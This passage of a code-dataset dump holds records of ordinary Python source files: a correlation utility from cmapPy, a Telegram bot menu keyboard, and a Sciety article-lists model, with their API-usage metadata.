"usage_type": "call"}, {"api_name": "qsyntax.xtq", "line_number": 163, "usage_type": "call"}, {"api_name": "qsyntax.sym.id", "line_number": 163, "usage_type": "attribute"}, {"api_name": "qsyntax.sym", "line_number": 163, "usage_type": "name"}, {"api_name": "qsyntax.kw.atablename", "line_number": 166, "usage_type": "attribute"}, {"api_name": "qsyntax.kw", "line_number": 166, "usage_type": "name"}, {"api_name": "qsyntax.sym.id", "line_number": 166, "usage_type": "attribute"}, {"api_name": "qsyntax.sym", "line_number": 166, "usage_type": "name"}, {"api_name": "edn_format.ImmutableDict", "line_number": 171, "usage_type": "attribute"}, {"api_name": "qsyntax.kw.limit", "line_number": 173, "usage_type": "attribute"}, {"api_name": "qsyntax.kw", "line_number": 173, "usage_type": "name"}, {"api_name": "qsyntax.xtq", "line_number": 189, "usage_type": "call"}, {"api_name": "qsyntax.sym.id", "line_number": 189, "usage_type": "attribute"}, {"api_name": "qsyntax.sym", "line_number": 189, "usage_type": "name"}, {"api_name": "qsyntax.var_attr_value", "line_number": 190, "usage_type": "call"}, {"api_name": "qsyntax.sym.x", "line_number": 190, "usage_type": "attribute"}, {"api_name": "qsyntax.sym", "line_number": 190, "usage_type": "name"}, {"api_name": "qsyntax.sym.id", "line_number": 190, "usage_type": "attribute"}, {"api_name": "base.qsyntax._text2dumps1line", "line_number": 193, "usage_type": "call"}, {"api_name": "base.qsyntax.edn_dumps", "line_number": 193, "usage_type": "call"}, {"api_name": "qsyntax.kw.query", "line_number": 193, "usage_type": "attribute"}, {"api_name": "qsyntax.kw", "line_number": 193, "usage_type": "name"}, {"api_name": "base.qsyntax.dictAttr", "line_number": 201, "usage_type": "call"}, {"api_name": "base.qsyntax.dictAttr", "line_number": 205, "usage_type": "call"}, {"api_name": "base.qsyntax.dictAttr", "line_number": 209, "usage_type": "call"}, {"api_name": "qsyntax.xtq", "line_number": 221, "usage_type": "call"}, {"api_name": "qsyntax.pull", "line_number": 221, "usage_type": "call"}, {"api_name": "qsyntax.var.x", "line_number": 221, "usage_type": "attribute"}, {"api_name": "qsyntax.var", "line_number": 221, "usage_type": "name"}, {"api_name": "qsyntax.var_attr_value", "line_number": 222, "usage_type": "call"}, {"api_name": "qsyntax.var.x", "line_number": 222, "usage_type": "attribute"}, {"api_name": "qsyntax.var", "line_number": 222, "usage_type": "name"}, {"api_name": "qsyntax.kw.name", "line_number": 222, "usage_type": "attribute"}, {"api_name": "qsyntax.kw", "line_number": 222, "usage_type": "name"}, {"api_name": "qsyntax.xtq", "line_number": 226, "usage_type": "call"}, {"api_name": "qsyntax.pull", "line_number": 226, "usage_type": "call"}, {"api_name": "qsyntax.var.inid", "line_number": 226, "usage_type": "attribute"}, {"api_name": "qsyntax.var", "line_number": 226, "usage_type": "name"}, {"api_name": "qsyntax.var.inid", "line_number": 227, "usage_type": "attribute"}, {"api_name": "qsyntax.var", "line_number": 227, "usage_type": "name"}, {"api_name": "qsyntax.xtq", "line_number": 233, "usage_type": "call"}, {"api_name": "qsyntax.pull", "line_number": 233, "usage_type": "call"}, {"api_name": "qsyntax.var.inid", "line_number": 233, "usage_type": "attribute"}, {"api_name": "qsyntax.var", "line_number": 233, "usage_type": "name"}, {"api_name": "qsyntax.var.inid", "line_number": 234, "usage_type": "attribute"}, {"api_name": "qsyntax.var", "line_number": 234, "usage_type": "name"}, {"api_name": "qsyntax.xtq", "line_number": 237, "usage_type": "call"}, {"api_name": "qsyntax.pull", "line_number": 237, "usage_type": "call"}, {"api_name": "qsyntax.var.inid", "line_number": 237, "usage_type": "attribute"}, {"api_name": "qsyntax.var", "line_number": 237, "usage_type": "name"}, {"api_name": "qsyntax.var.inid", "line_number": 238, "usage_type": "attribute"}, {"api_name": "qsyntax.var", "line_number": 238, "usage_type": "name"}, {"api_name": "qsyntax.xtq", "line_number": 242, "usage_type": "call"}, {"api_name": "qsyntax.pull", "line_number": 242, "usage_type": "call"}, {"api_name": "qsyntax.var.x", "line_number": 242, "usage_type": "attribute"}, {"api_name": "qsyntax.var", "line_number": 242, "usage_type": "name"}, {"api_name": "qsyntax.var_attr_value", "line_number": 243, "usage_type": "call"}, {"api_name": "qsyntax.var.x", "line_number": 243, "usage_type": "attribute"}, {"api_name": "qsyntax.var", "line_number": 243, "usage_type": "name"}, {"api_name": "qsyntax.var.inid", "line_number": 243, "usage_type": "attribute"}, {"api_name": "qsyntax.var.inid", "line_number": 244, "usage_type": "attribute"}, {"api_name": "qsyntax.var", "line_number": 244, "usage_type": "name"}, {"api_name": "qsyntax.xtq", "line_number": 259, "usage_type": "call"}, {"api_name": "qsyntax.pull", "line_number": 259, "usage_type": "call"}, {"api_name": "qsyntax.var.x", "line_number": 259, "usage_type": "attribute"}, {"api_name": "qsyntax.var", "line_number": 259, "usage_type": "name"}, {"api_name": "qsyntax.var_attr_value", "line_number": 260, "usage_type": "call"}, {"api_name": "qsyntax.var.x", "line_number": 260, "usage_type": "attribute"}, {"api_name": "qsyntax.var", "line_number": 260, "usage_type": "name"}, {"api_name": "qsyntax.kw.addresses", "line_number": 260, "usage_type": "attribute"}, {"api_name": "qsyntax.kw", "line_number": 260, "usage_type": "name"}, {"api_name": "qsyntax.xtq", "line_number": 268, "usage_type": "call"}, {"api_name": "qsyntax.pull", "line_number": 268, "usage_type": "call"}, {"api_name": "qsyntax.var.x", "line_number": 268, "usage_type": "attribute"}, {"api_name": "qsyntax.var", "line_number": 268, "usage_type": "name"}, {"api_name": "qsyntax.var_attr_value", "line_number": 269, "usage_type": "call"}, {"api_name": "qsyntax.var.x", "line_number": 269, "usage_type": "attribute"}, {"api_name": "qsyntax.var", "line_number": 269, "usage_type": "name"}, {"api_name": "qsyntax.kw.addresses", "line_number": 269, "usage_type": "attribute"}, {"api_name": "qsyntax.kw", "line_number": 269, "usage_type": "name"}, {"api_name": "qsyntax.xtq", "line_number": 277, "usage_type": "call"}, {"api_name": "qsyntax.pull", "line_number": 277, "usage_type": "call"}, {"api_name": "qsyntax.var.x", "line_number": 277, "usage_type": "attribute"}, {"api_name": "qsyntax.var", "line_number": 277, "usage_type": "name"}, {"api_name": "qsyntax.var_attr_value", "line_number": 278, "usage_type": "call"}, {"api_name": "qsyntax.var.x", "line_number": 278, "usage_type": "attribute"}, {"api_name": "qsyntax.var", "line_number": 278, "usage_type": "name"}, {"api_name": "qsyntax.kw.addresses", "line_number": 278, "usage_type": "attribute"}, {"api_name": "qsyntax.kw", "line_number": 278, "usage_type": "name"}, {"api_name": "qsyntax.xtq", "line_number": 285, "usage_type": "call"}, {"api_name": "qsyntax.pull", "line_number": 285, "usage_type": "call"}, {"api_name": "qsyntax.var.x", "line_number": 285, "usage_type": "attribute"}, {"api_name": "qsyntax.var", "line_number": 285, "usage_type": "name"}, {"api_name": "qsyntax.var_attr_value", "line_number": 286, "usage_type": "call"}, {"api_name": "qsyntax.var.x", "line_number": 286, "usage_type": "attribute"}, {"api_name": "qsyntax.var", "line_number": 286, "usage_type": "name"}, {"api_name": "qsyntax.kw.addresses", "line_number": 286, "usage_type": "attribute"}, {"api_name": "qsyntax.kw", "line_number": 286, "usage_type": "name"}, {"api_name": "unittest.TestCase", "line_number": 301, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 304, "usage_type": "call"}, {"api_name": "qsyntax.xtq", "line_number": 313, "usage_type": "call"}, {"api_name": "qsyntax.pull", "line_number": 313, "usage_type": "call"}, {"api_name": "qsyntax.var.p", "line_number": 313, "usage_type": "attribute"}, {"api_name": "qsyntax.var", "line_number": 313, "usage_type": "name"}, {"api_name": "qsyntax.var_attr_value", "line_number": 314, "usage_type": "call"}, {"api_name": "qsyntax.var.p", "line_number": 314, "usage_type": "attribute"}, {"api_name": "qsyntax.var", "line_number": 314, "usage_type": "name"}, {"api_name": "qsyntax.kw.typ", "line_number": 314, "usage_type": "attribute"}, {"api_name": "qsyntax.kw", "line_number": 314, "usage_type": "name"}, {"api_name": "qsyntax.var_attr_value", "line_number": 315, "usage_type": "call"}, {"api_name": "qsyntax.var.p", "line_number": 315, "usage_type": "attribute"}, {"api_name": "qsyntax.var", "line_number": 315, "usage_type": "name"}, {"api_name": "qsyntax.xtq", "line_number": 319, "usage_type": "call"}, {"api_name": "qsyntax.var_attr_value", "line_number": 320, "usage_type": "call"}, {"api_name": "qsyntax.var.p", "line_number": 320, "usage_type": "attribute"}, {"api_name": "qsyntax.var", "line_number": 320, "usage_type": "name"}, {"api_name": "qsyntax.kw.typ", "line_number": 320, "usage_type": "attribute"}, {"api_name": "qsyntax.kw", "line_number": 320, "usage_type": "name"}, {"api_name": "qsyntax.var.nm", "line_number": 324, "usage_type": "attribute"}, {"api_name": "qsyntax.var", "line_number": 324, "usage_type": "name"}, {"api_name": "qsyntax.var_attr_value", "line_number": 325, "usage_type": "call"}, {"api_name": "qsyntax.var.p", "line_number": 325, "usage_type": "attribute"}, {"api_name": "qsyntax.var", "line_number": 325, "usage_type": "name"}, {"api_name": "qsyntax.var_attr_value", "line_number": 326, "usage_type": "call"}, {"api_name": "qsyntax.var.p", "line_number": 326, "usage_type": "attribute"}, {"api_name": "qsyntax.var", "line_number": 326, "usage_type": "name"}, {"api_name": "qsyntax.kw.name", "line_number": 326, "usage_type": "attribute"}, {"api_name": "qsyntax.kw", "line_number": 326, "usage_type": "name"}, {"api_name": "qsyntax.var.nm", "line_number": 326, "usage_type": "attribute"}, {"api_name": "qsyntax.var.p", "line_number": 328, "usage_type": "attribute"}, {"api_name": "qsyntax.var", "line_number": 328, "usage_type": "name"}, {"api_name": "qsyntax.var_attr_value", "line_number": 329, "usage_type": "call"}, {"api_name": "qsyntax.var.p", "line_number": 329, "usage_type": "attribute"}, {"api_name": "qsyntax.var", "line_number": 329, "usage_type": "name"}, {"api_name": "qsyntax.kw.name", "line_number": 329, "usage_type": "attribute"}, {"api_name": "qsyntax.kw", "line_number": 329, "usage_type": "name"}, {"api_name": "qsyntax.var.p", "line_number": 330, "usage_type": "attribute"}, {"api_name": "qsyntax.var", "line_number": 330, "usage_type": "name"}, {"api_name": "qsyntax.var_attr_value", "line_number": 331, "usage_type": "call"}, {"api_name": "qsyntax.var.p", "line_number": 331, "usage_type": "attribute"}, {"api_name": "qsyntax.var", "line_number": 331, "usage_type": "name"}, {"api_name": "qsyntax.kw.name", "line_number": 331, "usage_type": "attribute"}, {"api_name": "qsyntax.kw", "line_number": 331, "usage_type": "name"}, {"api_name": "qsyntax.var.p", "line_number": 332, "usage_type": "attribute"}, {"api_name": "qsyntax.var", "line_number": 332, "usage_type": "name"}, {"api_name": "qsyntax.var_attr_value", "line_number": 333, "usage_type": "call"}, {"api_name": "qsyntax.var.p", "line_number": 333, "usage_type": "attribute"}, {"api_name": "qsyntax.var", "line_number": 333, "usage_type": "name"}, {"api_name": "qsyntax.kw.age", "line_number": 333, "usage_type": "attribute"}, {"api_name": "qsyntax.kw", "line_number": 333, "usage_type": "name"}, {"api_name": "qsyntax.var.p", "line_number": 334, "usage_type": "attribute"}, {"api_name": "qsyntax.var", "line_number": 334, "usage_type": "name"}, {"api_name": "qsyntax.var_attr_value", "line_number": 335, "usage_type": "call"}, {"api_name": "qsyntax.var.p", "line_number": 335, "usage_type": "attribute"}, {"api_name": "qsyntax.var", "line_number": 335, "usage_type": "name"}, {"api_name": "qsyntax.kw.age", "line_number": 335, "usage_type": "attribute"}, {"api_name": "qsyntax.kw", "line_number": 335, "usage_type": "name"}, {"api_name": "qsyntax.var.p", "line_number": 336, "usage_type": "attribute"}, {"api_name": "qsyntax.var", "line_number": 336, "usage_type": "name"}, {"api_name": "qsyntax.var_attr_value", "line_number": 337, "usage_type": "call"}, {"api_name": "qsyntax.var.p", "line_number": 337, "usage_type": "attribute"}, {"api_name": "qsyntax.var", "line_number": 337, "usage_type": "name"}, {"api_name": "qsyntax.kw.age", "line_number": 337, "usage_type": "attribute"}, {"api_name": "qsyntax.kw", "line_number": 337, "usage_type": "name"}, {"api_name": "qsyntax.var.age", "line_number": 337, "usage_type": "attribute"}, {"api_name": "qsyntax.range_predicate.gt", "line_number": 338, "usage_type": "call"}, {"api_name": "qsyntax.range_predicate", "line_number": 338, "usage_type": "name"}, {"api_name": "qsyntax.var.age", "line_number": 338, "usage_type": "attribute"}, {"api_name": "qsyntax.var", "line_number": 338, "usage_type": "name"}, {"api_name": "qsyntax.var.p", "line_number": 340, "usage_type": "attribute"}, {"api_name": "qsyntax.var", "line_number": 340, "usage_type": "name"}, {"api_name": "qsyntax.var_attr_value", "line_number": 341, "usage_type": "call"}, {"api_name": "qsyntax.var.p", "line_number": 341, "usage_type": "attribute"}, {"api_name": "qsyntax.var", "line_number": 341, "usage_type": "name"}, {"api_name": "qsyntax.kw.age", "line_number": 341, "usage_type": "attribute"}, {"api_name": "qsyntax.kw", "line_number": 341, "usage_type": "name"}, {"api_name": "qsyntax.var.age", "line_number": 341, "usage_type": "attribute"}, {"api_name": "qsyntax.range_predicate.lt", "line_number": 342, "usage_type": "call"}, {"api_name": "qsyntax.range_predicate", "line_number": 342, "usage_type": "name"}, {"api_name": "qsyntax.var.age", "line_number": 342, "usage_type": "attribute"}, {"api_name": "qsyntax.var", "line_number": 342, "usage_type": "name"}, {"api_name": "base.qsyntax.dictAttr", "line_number": 407, "usage_type": "call"}, {"api_name": "base.qsyntax.dictAttr", "line_number": 425, "usage_type": "call"}, {"api_name": "base.qsyntax.dictAttr", "line_number": 440, "usage_type": "call"}, {"api_name": "unittest.main", "line_number": 506, "usage_type": "call"}]}
{"seq_id": "2351602783", "text": "import logging\nimport cmapPy.pandasGEXpress.setup_GCToo_logger as setup_logger\nimport numpy\nimport cmapPy.math.fast_cov as fast_cov\nimport pandas\n\n\nlogger = logging.getLogger(setup_logger.LOGGER_NAME)\n\n\ndef fast_corr(x, y=None, destination=None):\n    \"\"\"calculate the pearson correlation matrix for the columns of x (with dimensions MxN), or optionally, the pearson correlaton matrix\n    between x and y (with dimensions OxP).  If destination is provided, put the results there.  \n    In the language of statistics the columns are the variables and the rows are the observations.\n\n    Args:\n        x (numpy array-like) MxN in shape\n        y (optional, numpy array-like) OxP in shape.  M (# rows in x) must equal O (# rows in y)\n        destination (numpy array-like) optional location where to store the results as they are calculated (e.g. a numpy\n            memmap of a file)\n\n        returns (numpy array-like) array of the covariance values\n            for defaults (y=None), shape is NxN\n            if y is provied, shape is NxP\n    \"\"\"\n    if y is None:\n        y = x\n\n    r = fast_cov.fast_cov(x, y, destination)\n\n    std_x = numpy.std(x, axis=0, ddof=1)\n    std_y = numpy.std(y, axis=0, ddof=1)\n\n    numpy.divide(r, std_x[:, numpy.newaxis], out=r)\n    numpy.divide(r, std_y[numpy.newaxis, :], out=r)\n\n    return r\n\n\ndef fast_spearman(x, y=None, destination=None):\n    \"\"\"calculate the spearman correlation matrix for the columns of x (with dimensions MxN), or optionally, the spearman correlaton\n    matrix between the columns of x and the columns of y (with dimensions OxP).  If destination is provided, put the results there.\n    In the language of statistics the columns are the variables and the rows are the observations.\n\n    Args:\n        x (numpy array-like) MxN in shape\n        y (optional, numpy array-like) OxP in shape.  M (# rows in x) must equal O (# rows in y)\n        destination (numpy array-like) optional location where to store the results as they are calculated (e.g. a numpy\n            memmap of a file)\n\n        returns:\n            (numpy array-like) array of the covariance values\n                for defaults (y=None), shape is NxN\n                if y is provied, shape is NxP\n    \"\"\"\n    logger.debug(\"x.shape:  {}\".format(x.shape))\n    if hasattr(y, \"shape\"):  \n        logger.debug(\"y.shape:  {}\".format(y.shape))\n\n    x_ranks = pandas.DataFrame(x).rank(method=\"average\").values\n    logger.debug(\"some min and max ranks of x_ranks:\\n{}\\n{}\".format(numpy.min(x_ranks[:10], axis=0), numpy.max(x_ranks[:10], axis=0)))\n\n    y_ranks = pandas.DataFrame(y).rank(method=\"average\").values if y is not None else None\n\n    return fast_corr(x_ranks, y_ranks, destination)\n", "repo_name": "NingyueZhou/SFEEBoT", "sub_path": "venv/Lib/site-packages/cmapPy/math/fast_corr.py", "file_name": "fast_corr.py", "file_ext": "py", "file_size_in_byte": 2704, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "logging.getLogger", "line_number": 8, "usage_type": "call"}, {"api_name": "cmapPy.pandasGEXpress.setup_GCToo_logger.LOGGER_NAME", "line_number": 8, "usage_type": "attribute"}, {"api_name": "cmapPy.pandasGEXpress.setup_GCToo_logger", "line_number": 8, "usage_type": "name"}, {"api_name": "cmapPy.math.fast_cov.fast_cov", "line_number": 29, "usage_type": "call"}, {"api_name": "cmapPy.math.fast_cov", "line_number": 29, "usage_type": "name"}, {"api_name": "numpy.std", "line_number": 31, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 32, "usage_type": "call"}, {"api_name": "numpy.divide", "line_number": 34, "usage_type": "call"}, {"api_name": "numpy.newaxis", "line_number": 34, "usage_type": "attribute"}, {"api_name": "numpy.divide", "line_number": 35, "usage_type": "call"}, {"api_name": "numpy.newaxis", "line_number": 35, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 60, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 61, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 61, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 63, "usage_type": "call"}]}
{"seq_id": "8728059486", "text": "from telegram import InlineKeyboardButton, InlineKeyboardMarkup\n\n\ndef main_menu_keyboard():\n    keyboard = [[InlineKeyboardButton('Contribuye en la elaboración del bot',\n                                      url='https://github.com/peramon/BotPizzas')],\n                [InlineKeyboardButton(\n                    'Menu Pizzas', callback_data='m1')]]\n    return InlineKeyboardMarkup(keyboard)\n\n", "repo_name": "peramon/BotPizzas", "sub_path": "Menu.py", "file_name": "Menu.py", "file_ext": "py", "file_size_in_byte": 394, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "telegram.InlineKeyboardButton", "line_number": 5, "usage_type": "call"}, {"api_name": "telegram.InlineKeyboardButton", "line_number": 7, "usage_type": "call"}, {"api_name": "telegram.InlineKeyboardMarkup", "line_number": 9, "usage_type": "call"}]}
{"seq_id": "10039625562", "text": "from collections import defaultdict\nfrom dataclasses import dataclass, field\nfrom datetime import datetime\nfrom threading import Lock\nfrom typing import Dict, Iterable, NamedTuple, Optional, Protocol, Sequence, Set, Sized, Tuple\n\nfrom sciety_labs.models.article import (\n    ArticleAuthor,\n    ArticleComment,\n    ArticleMention,\n    get_doi_from_article_id_or_none\n)\nfrom sciety_labs.models.image import ObjectImages\nfrom sciety_labs.models.sciety_event import ScietyEventNames\n\n\nclass ListMetaData(NamedTuple):\n    list_id: str\n    list_name: str\n    list_description: str\n\n    @staticmethod\n    def from_sciety_event_list_meta(sciety_event_list_meta: dict) -> 'ListMetaData':\n        return ListMetaData(\n            list_id=sciety_event_list_meta['list_id'],\n            list_name=sciety_event_list_meta['list_name'],\n            list_description=sciety_event_list_meta['list_description']\n        )\n\n\ndef get_avatar_url_for_avatar_path_or_url(avatar_path_or_url: Optional[str]) -> Optional[str]:\n    if not avatar_path_or_url:\n        return avatar_path_or_url\n    if '://' in avatar_path_or_url:\n        return avatar_path_or_url\n    return f'https://sciety.org{avatar_path_or_url}'\n\n\nclass OwnerTypes:\n    USER = 'user'\n    GROUP = 'group'\n\n\nclass OwnerMetaData(NamedTuple):\n    owner_type: str\n    display_name: str\n    avatar_url: Optional[str] = None\n    slug: Optional[str] = None\n    twitter_handle: Optional[str] = None\n\n    @staticmethod\n    def from_sciety_event_user_meta(sciety_event_user_meta: dict) -> 'OwnerMetaData':\n        return OwnerMetaData(\n            owner_type=OwnerTypes.USER,\n            display_name=sciety_event_user_meta['user_display_name'],\n            avatar_url=get_avatar_url_for_avatar_path_or_url(\n                sciety_event_user_meta['avatar_url']\n            ),\n            twitter_handle=sciety_event_user_meta.get('twitter_handle')\n        )\n\n    @staticmethod\n    def from_sciety_event_group_meta(sciety_event_group_meta: dict) -> 'OwnerMetaData':\n        return OwnerMetaData(\n            owner_type=OwnerTypes.GROUP,\n            display_name=sciety_event_group_meta['group_name'],\n            avatar_url=get_avatar_url_for_avatar_path_or_url(\n                sciety_event_group_meta.get('avatar_path')\n            ),\n            slug=sciety_event_group_meta.get('slug')\n        )\n\n\nclass ArticleListItem(NamedTuple):\n    article_id: str\n    added_datetime: datetime\n\n\nclass ArticleCommentItem(NamedTuple):\n    article_id: str\n    comment: str\n    added_datetime: datetime\n\n\n@dataclass\nclass ArticleList(Sized):\n    _article_list_item_by_article_id: Dict[str, ArticleListItem] = field(default_factory=dict)\n    _article_comment_by_article_id: Dict[str, ArticleCommentItem] = field(default_factory=dict)\n    last_updated_datetime: Optional[datetime] = None\n\n    def __len__(self) -> int:\n        return len(self._article_list_item_by_article_id)\n\n    def iter_article_list_item(self) -> Iterable[ArticleListItem]:\n        return self._article_list_item_by_article_id.values()\n\n    def add(self, item: ArticleListItem):\n        self._article_list_item_by_article_id[item.article_id] = item\n        self.last_updated_datetime = item.added_datetime\n\n    def remove_by_article_id(self, article_id: str, when: datetime):\n        del self._article_list_item_by_article_id[article_id]\n        self.last_updated_datetime = when\n\n    def add_comment(self, comment: ArticleCommentItem):\n        self._article_comment_by_article_id[comment.article_id] = comment\n\n    def get_comment_by_article_id(self, article_id: str) -> Optional[ArticleCommentItem]:\n        return self._article_comment_by_article_id.get(article_id)\n\n\nclass ListSummaryData(NamedTuple):\n    list_meta: ListMetaData\n    owner: OwnerMetaData\n    article_count: int\n    last_updated_datetime: Optional[datetime]\n    list_images: Optional[ObjectImages] = None\n\n    def get_activity_sort_key(self) -> Tuple[float, int]:\n        if not self.last_updated_datetime:\n            return (0, -self.article_count)\n        return (-self.last_updated_datetime.timestamp(), -self.article_count)\n\n\nclass ListsModel(Protocol):\n    def get_most_active_user_lists(self) -> Sequence[ListSummaryData]:\n        pass\n\n\ndef get_sorted_list_summary_list_by_most_active(\n    list_summary_iterable: Iterable[ListSummaryData],\n) -> Sequence[ListSummaryData]:\n    return sorted(\n        list_summary_iterable,\n        key=ListSummaryData.get_activity_sort_key\n    )\n\n\nclass ScietyEventListsModel(ListsModel):\n    def __init__(self, sciety_events: Sequence[dict]):\n        self._list_meta_by_list_id: Dict[str, ListMetaData] = {}\n        self._owner_meta_by_list_id: Dict[str, OwnerMetaData] = {}\n        self._article_list_by_list_id: Dict[str, ArticleList] = defaultdict(ArticleList)\n        self._lock = Lock()\n        self.apply_events(sciety_events)\n\n    def _do_apply_events(self, sciety_events: Sequence[dict]):\n        for event in sciety_events:\n            event_timestamp = event['event_timestamp']\n            event_name = event['event_name']\n            sciety_list = event.get('sciety_list')\n            if not sciety_list:\n                continue\n            sciety_user = event.get('sciety_user')\n            sciety_group = event.get('sciety_group')\n            article_id = event.get('article_id')\n            list_id = sciety_list['list_id']\n            list_meta = ListMetaData.from_sciety_event_list_meta(sciety_list)\n            list_id = list_meta.list_id\n            if list_id:\n                self._list_meta_by_list_id[list_id] = list_meta\n            if sciety_user and not sciety_user['user_id']:\n                sciety_user = None\n            if sciety_group and not sciety_group['group_id']:\n                sciety_group = None\n            if list_id and sciety_user:\n                self._owner_meta_by_list_id[list_id] = (\n                    OwnerMetaData.from_sciety_event_user_meta(sciety_user)\n                )\n            if list_id and sciety_group:\n                self._owner_meta_by_list_id[list_id] = (\n                    OwnerMetaData.from_sciety_event_group_meta(sciety_group)\n                )\n            if list_id and article_id:\n                if event_name == ScietyEventNames.ARTICLE_ADDED_TO_LIST:\n                    self._article_list_by_list_id[list_id].add(\n                        ArticleListItem(article_id=article_id, added_datetime=event_timestamp)\n                    )\n                if event_name == ScietyEventNames.ANNOTATION_CREATED:\n                    self._article_list_by_list_id[list_id].add_comment(\n                        ArticleCommentItem(\n                            article_id=article_id,\n                            comment=event['content'],\n                            added_datetime=event_timestamp\n                        )\n                    )\n                if event_name == ScietyEventNames.ARTICLE_REMOVED_FROM_LIST:\n                    try:\n                        self._article_list_by_list_id[list_id].remove_by_article_id(\n                            article_id,\n                            when=event_timestamp\n                        )\n                    except KeyError:\n                        pass\n\n    def apply_events(self, sciety_events: Sequence[dict]):\n        with self._lock:\n            self._do_apply_events(sciety_events)\n\n    def get_list_summary_data_for_list_meta(self, list_meta) -> ListSummaryData:\n        return ListSummaryData(\n            list_meta=list_meta,\n            owner=self._owner_meta_by_list_id[list_meta.list_id],\n            article_count=len(self._article_list_by_list_id[\n                list_meta.list_id\n            ]),\n            last_updated_datetime=self._article_list_by_list_id[\n                list_meta.list_id\n            ].last_updated_datetime\n        )\n\n    def iter_list_summary_data(self) -> Iterable[ListSummaryData]:\n        for list_meta in self._list_meta_by_list_id.values():\n            yield self.get_list_summary_data_for_list_meta(list_meta)\n\n    def get_most_active_filtered_lists(\n        self,\n        top_n: Optional[int] = None,\n        min_article_count: int = 1,\n        owner_types: Optional[Set[str]] = None\n    ) -> Sequence[ListSummaryData]:\n        result = get_sorted_list_summary_list_by_most_active([\n            list_summary_data\n            for list_summary_data in self.iter_list_summary_data()\n            if list_summary_data.article_count >= min_article_count\n            and (not owner_types or list_summary_data.owner.owner_type in owner_types)\n        ])\n        if top_n:\n            result = result[:top_n]\n        return result\n\n    def get_most_active_user_lists(self, **kwargs) -> Sequence[ListSummaryData]:\n        return self.get_most_active_filtered_lists(owner_types={OwnerTypes.USER}, **kwargs)\n\n    def get_most_active_group_lists(self, **kwargs) -> Sequence[ListSummaryData]:\n        return self.get_most_active_filtered_lists(owner_types={OwnerTypes.GROUP}, **kwargs)\n\n    def get_list_meta_data_by_list_id(\n        self,\n        list_id: str\n    ) -> ListMetaData:\n        return self._list_meta_by_list_id[list_id]\n\n    def get_list_summary_data_by_list_id(\n        self,\n        list_id: str\n    ) -> ListSummaryData:\n        return self.get_list_summary_data_for_list_meta(\n            self.get_list_meta_data_by_list_id(list_id)\n        )\n\n    def iter_unsorted_article_mentions_by_list_id(\n        self,\n        list_id: str\n    ) -> Iterable[ArticleMention]:\n        owner = self._owner_meta_by_list_id[list_id]\n        comment_author = ArticleAuthor(name=owner.display_name)\n        article_list = self._article_list_by_list_id[list_id]\n        for article_list_item in article_list.iter_article_list_item():\n            article_doi = get_doi_from_article_id_or_none(article_list_item.article_id)\n            if not article_doi:\n                continue\n            comment_item = article_list.get_comment_by_article_id(article_list_item.article_id)\n            comment = (\n                ArticleComment(\n                    text=comment_item.comment,\n                    author=comment_author\n                )\n                if comment_item\n                else None\n            )\n            yield ArticleMention(\n                article_doi=article_doi,\n                comment=comment,\n                created_at_timestamp=article_list_item.added_datetime\n            )\n\n    def iter_article_mentions_by_list_id(\n        self,\n        list_id: str\n    ) -> Iterable[ArticleMention]:\n        yield from sorted(\n            self.iter_unsorted_article_mentions_by_list_id(list_id),\n            key=ArticleMention.get_created_at_sort_key,\n            reverse=True\n        )\n", "repo_name": "sciety/sciety-labs", "sub_path": "sciety_labs/models/lists.py", "file_name": "lists.py", "file_ext": "py", "file_size_in_byte": 10662, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "typing.NamedTuple", "line_number": 17, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 31, "usage_type": "name"}, {"api_name": "typing.NamedTuple", "line_number": 44, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 47, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 48, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 49, "usage_type": "name"}, {"api_name": "typing.NamedTuple", "line_number": 74, "usage_type": "name"}, {"api_name": "datetime.datetime", "line_number": 76, "usage_type": "name"}, {"api_name": "typing.NamedTuple", "line_number": 79, "usage_type": "name"}, {"api_name": "datetime.datetime", "line_number": 82, "usage_type": "name"}, {"api_name": "typing.Sized", "line_number": 86, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 87, "usage_type": "name"}, {"api_name": "dataclasses.field", "line_number": 87, "usage_type": "call"}, {"api_name": "typing.Dict", "line_number": 88, "usage_type": "name"}, {"api_name": "dataclasses.field", "line_number": 88, "usage_type": "call"}, {"api_name": "typing.Optional", "line_number": 89, "usage_type": "name"}, {"api_name": "datetime.datetime", "line_number": 89, "usage_type": "name"}, {"api_name": "typing.Iterable", "line_number": 94, "usage_type": "name"}, {"api_name": "datetime.datetime", "line_number": 101, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 108, "usage_type": "name"}, {"api_name": "dataclasses.dataclass", "line_number": 85, "usage_type": "name"}, {"api_name": "typing.NamedTuple", "line_number": 112, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 116, "usage_type": "name"}, {"api_name": "datetime.datetime", "line_number": 116, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 117, "usage_type": "name"}, {"api_name": "sciety_labs.models.image.ObjectImages", "line_number": 117, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 119, "usage_type": "name"}, {"api_name": "typing.Protocol", "line_number": 125, "usage_type": "name"}, {"api_name": "typing.Sequence", "line_number": 126, "usage_type": "name"}, {"api_name": "typing.Iterable", "line_number": 131, "usage_type": "name"}, {"api_name": "typing.Sequence", "line_number": 132, "usage_type": "name"}, {"api_name": "typing.Sequence", "line_number": 140, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 141, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 142, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 143, "usage_type": "name"}, {"api_name": "collections.defaultdict", "line_number": 143, "usage_type": "call"}, {"api_name": "threading.Lock", "line_number": 144, "usage_type": "call"}, {"api_name": "typing.Sequence", "line_number": 147, "usage_type": "name"}, {"api_name": 